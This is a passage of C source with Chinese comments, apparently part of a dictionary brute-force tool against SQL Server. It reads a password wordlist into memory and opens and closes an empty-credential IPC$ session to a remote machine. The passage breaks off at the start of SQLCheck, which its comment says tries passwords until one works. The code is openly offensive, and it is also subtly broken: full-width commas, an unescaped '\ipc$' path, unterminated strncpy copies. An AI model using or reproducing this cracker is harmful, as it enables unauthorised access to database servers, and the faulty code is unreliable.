}

　　//

　　//函数:ReadDic

　　//功能:从字典文件里面读取数据，传递给全局变量dict，准备探测密码

　　//说明:函数运行失败返回值1，成功返回0

　　//

　　int ReadDic(char *dic)

　　{

　　FILE *fp;

　　char tmp[40];

　　//打开字典文件

　　if((fp=fopen(dic，"r"))==NULL)

　　{

　　printf("\nCan't open %s"，dic);

　　return 1;

　　}

　　while(!feof(fp))

　　{

　　//读取数据到临时变量

　　if(fgets(tmp，40，fp)==NULL)

　　break;

　　//这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉，不然就探测不出来密码了

　　strncpy(dict[total]，tmp，strlen(tmp)-1);

　　total++;

　//因为dict定义为dict[20000][40]，所以这里如果字典里面的单词超出20000就退出循环

　　//不然就会溢出啦.可以自行调准

　　if(total〉=20000)

　　break;

　　}

　　fclose(fp);

　　return 0;

　　}

　　//

　　//函数:ConnIPC

　　//功能:建立IPC连接

　　//说明:连接失败返回值1，成功返回值0

　　//

　　int ConnIPC(char *RemoteName)

　　{

　　NETRESOURCE nr;

　　DWORD flags=CONNECT_UPDATE_PROFILE;

　　TCHAR RN[30]=""，

　　LN[5]="";

　　strcat(RN，RemoteName);

　　strcat(RN，"\ipc$");

　　//填充数据结构

　　nr.dwType=RESOURCETYPE_DISK;

　　nr.lpLocalName=(LPTSTR)&LN;

　　nr.lpRemoteName=(LPTSTR)&RN;

　　nr.lpProvider=NULL;

　　if(WNetAddConnection2(&nr，(LPSTR)""，(LPSTR)""，flags)==NO_ERROR)

　　{

return 0;

　　}

　　else

　　{

　　return 1;

　　}

　　}

　　//

　　//函数:DelIPC

　　//功能:断开IPC Session

　　//说明:成功返回值0，否则返回1

　　//

　　int DelIPC(char *RemoteName)

　　{

　　DWORD ret;

　　TCHAR lpName[30]="";

　　strcat(lpName，RemoteName);

　　strcat(lpName，"\ipc$");

　　ret=WNetCancelConnection2(lpName，CONNECT_UPDATE_PROFILE，TRUE);

　　if(ret==NO_ERROR)

　　{

　　return 0;

　　}

　　else

　　{

　　return 1;

　　}

　　}

　　//

　　//函数SQLCheck

　　//功能:尝试用不同密码连接SQL Server，探测出正确的密码

　　//

　　DWORD WINAPI SQLCheck(PVOID pPwd)

　　{

　　//定义局部变量

　　char szBuffer[1025];

　　char *pwd;

　　SWORD swStrLen;

　　SQLHDBC hdbc;

　　SQLHANDLE henv;

　　SQLRETURN retcode;//ODBC API运行返回值